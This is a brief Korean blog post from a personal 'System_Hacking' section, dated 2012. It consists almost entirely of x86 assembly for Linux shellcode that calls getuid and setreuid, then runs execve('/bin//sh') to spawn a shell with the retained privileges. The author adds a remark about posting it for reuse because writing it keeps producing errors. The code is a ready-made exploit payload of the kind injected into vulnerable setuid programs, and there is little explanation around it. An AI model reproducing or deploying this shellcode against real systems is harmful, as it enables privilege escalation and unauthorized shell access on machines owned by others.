System_Hacking
기본적인 쉘을 얻는 쉘코드를 얻기위한 어셈블리 코딩
k1rha
2012. 3. 21. 02:42
main:
xor %eax,%eax
movb $0x18,%al
int
$0x80
movl %eax,%ebx
movl %ebx,%ecx
xor
%eax,%eax
movb $0x46,%al
int $0x80
xor %edx,%edx
xor %eax,%eax
movb
$0xb,%al
push %edx
push $0x68732f2f
push
$0x6e69622f
movl %esp,%ebx
push %edx
push
%ebx
movl %esp,%ecx
int $0x80
이놈의 쉘코드.. 짤때마다 짜증나게 오류가나네 --
미리 이렇게 올려놔야지...